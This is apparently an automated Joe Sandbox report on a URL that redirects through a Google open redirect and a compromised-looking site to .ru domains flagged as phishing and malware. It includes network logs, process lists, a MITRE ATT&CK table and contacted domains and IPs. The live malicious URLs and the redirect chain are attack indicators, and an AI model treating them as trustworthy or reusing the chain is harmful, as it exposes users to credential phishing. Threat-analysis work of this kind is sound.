Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 23:06:51 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: +WIEpadEXdYZWPD9F4m9iy9EZzA2gGrSC/M=$988emW2g7vokBDRRcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8ef8a5e6d94ac339-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 23:07:02 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: Z0kjGnTJK6B0PN74zAM+7gvgtHT3X3XAWV8=$t+TVU0YIkHhsW6Djcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8ef8a62978ac17b5-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 23:06:28 GMTServer: ApacheContent-Length: 315Keep-Alive: timeout=5Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: chromecache_94.2.dr, chromecache_124.2.dr, chromecache_128.2.dr, chromecache_120.2.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_94.2.dr, chromecache_124.2.dr, chromecache_128.2.dr, chromecache_120.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_94.2.dr, chromecache_124.2.dr, chromecache_128.2.dr, chromecache_120.2.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_98.2.dr, chromecache_91.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_98.2.dr, chromecache_91.2.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: classification engine

Classification label: mal52.win@23/74@42/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2276,i,2124656294243649760,5644451124294836775,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2276,i,2124656294243649760,5644451124294836775,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
http://jvsimmigration.com/favicon.ico	0%	Avira URL Cloud	safe
https://cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru/abqfqnldukwhssxigbeamrdaoVrzfxtCuCOYYZXUDRKEVHETDRGZXQKYJWUVUA	100%	Avira URL Cloud	malware
https://wfdd.htqeuifpr.ru/favicon.ico	100%	Avira URL Cloud	phishing
https://wfdd.htqeuifpr.ru/rNn4/	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	142.250.181.68	true	false	high
cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru	172.67.181.220	true	false	unknown
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
jvsimmigration.com	184.168.110.22	true	false	unknown
www.google.com.hk	142.250.181.99	true	false	high
wfdd.htqeuifpr.ru	172.67.214.152	true	true	unknown
www.microsoft365.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
excel.office.com	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://wfdd.htqeuifpr.ru/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://a.nel.cloudflare.com/report/v4?s=zq3rFptvME5qTeoKQxEbxJCwYERKArlkqjVqUsQGWX5CkCaZnEFNhvJy%2Bu6HOdC%2B16aKQEb7X1WfbX66Zxf4rabLugrdzj31gShryP4vKzaHX2ibDeQRlnMj7VCuZA%3D%3D	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
http://jvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=	false		unknown
https://challenges.cloudflare.com/turnstile/v0/g/f9063374b04d/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8ef8a58f8fb7c32b/1733785601830/V5veeFNqsgkcgGx	false		high
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	false		high
https://cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru/abqfqnldukwhssxigbeamrdaoVrzfxtCuCOYYZXUDRKEVHETDRGZXQKYJWUVUA	false	Avira URL Cloud: malware	unknown
https://www.google.com.hk/amp/jvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef8a58f8fb7c32b&lang=auto	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8ef8a58f8fb7c32b/1733785601830/41dd0e98ab7a2936b7497e572c306edab0b4dd921b4bb87bfb765f5e9234b2ed/q59F5pnqC61ChKf	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1335793016:1733771998:3avIQcPy4EiUdg7zUMFs2C6dHrRFD8w5Dr-egB8X9SQ/8ef8a58f8fb7c32b/9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8	false		high
https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_i5YupurhQAo9inu_OetqHw2.js	false		high
http://jvsimmigration.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/	false		high
https://wfdd.htqeuifpr.ru/rNn4/#YnJ1Y2VwQGxlc21hbi5jb20=	false		unknown
https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	false		high
https://wfdd.htqeuifpr.ru/rNn4/	true	Avira URL Cloud: phishing	unknown
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638693824291105645.ZDk0M2NlYmEtMzg2Yy00ODE4LTk4YmYtNzcxZjFiMzFlNWJjMzMzYjQ4YzMtMjk5Yy00YWNmLWIzMzMtYjU3Mjg0NDViYmIz&ui_locales=en-US&mkt=en-US&client-request-id=51af61a7-e3b0-48c8-8cf1-f998bae9b6f6&state=2yZ_zv8KA9R86_bGW0pUZgBVaJQaZMkDhzh1w9q1_PSMjGAOqSEf2716CN1E3nZzsfyhCJ0hI4PpkTNWqOzx0v7lQiLq8dUJiL3KDNLr5S64ZsGnRoDvN3frD8EdtX5PJv1f18RN2QLk3hd16H6HN4Cpa8aMkEoV_GcoM-K35pejT0RD0t4lwZnGou2L6qxzd8XhSB_af4vEDJCqXkiPyzv-G3sxZhCnKRIvvP9s_vFT0FvEkwtsHYMU9aBTMumN4qTUSQwN-uWruq1eJrsRnVBQBQFuVHbq55UfgEZaYjF70NakoQkbVmoQNrRe-OO8-QXl7-7rZSwauaBNZ_Aqfg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://knockoutjs.com/	chromecache_94.2.dr, chromecache_124.2.dr, chromecache_128.2.dr, chromecache_120.2.dr	false	high
https://github.com/douglascrockford/JSON-js	chromecache_94.2.dr, chromecache_124.2.dr, chromecache_128.2.dr, chromecache_120.2.dr	false	high
https://login.windows-ppe.net	chromecache_98.2.dr, chromecache_91.2.dr	false	high
https://login.microsoftonline.com	chromecache_98.2.dr, chromecache_91.2.dr	false	high
http://www.opensource.org/licenses/mit-license.php)	chromecache_94.2.dr, chromecache_124.2.dr, chromecache_128.2.dr, chromecache_120.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.181.220	cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru	United States	13335	CLOUDFLARENETUS	false
184.168.110.22	jvsimmigration.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
172.67.214.152	wfdd.htqeuifpr.ru	United States	13335	CLOUDFLARENETUS	true
142.250.181.99	www.google.com.hk	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571994
Start date and time:	2024-12-10 00:05:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.win@23/74@42/13

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 173.194.222.84, 172.217.19.238, 172.217.17.46, 199.232.210.172, 192.229.221.95, 13.107.6.156, 20.190.177.21, 20.190.147.6, 20.190.177.20, 20.190.177.19, 20.190.177.148, 20.190.147.3, 20.190.147.7, 20.190.177.82, 172.217.17.35, 20.190.177.149, 20.190.177.147, 20.190.147.1, 20.190.147.10, 20.190.177.23, 20.190.177.83, 20.190.147.0, 20.190.177.85, 20.190.147.2, 20.190.177.146, 20.190.147.11, 20.190.181.2, 40.126.53.19, 20.190.181.1, 40.126.53.7, 40.126.53.8, 40.126.53.6, 20.190.181.6, 40.126.53.10, 142.250.181.138, 172.217.19.202, 142.250.181.106, 142.250.181.10, 172.217.17.74, 172.217.21.42, 142.250.181.42, 142.250.181.74, 216.58.208.234, 172.217.19.234, 172.217.17.42, 20.50.201.201, 23.218.208.109, 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, onedscolprdweu07.westeurope.cloudapp.azure.com, clientservices.googleapis.com, home-office365-com.b-0004.b-msedge.net, ak.privatelink.msidentity.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, update.googleapis.com, login.mso.msidentity.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, aadcdnoriginwus2.azureedge.net, www.tm.ak.prd.aadg.akadns.net, www.tm.v4.a.prd.aadg.akadns.net, b-0004.b-msedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, login.msa.msidentity.com, eu.events.data.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, www.tm.lg.prod.aadmsa.trafficmanager.net, eu-mobile.events.data.microsoft.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
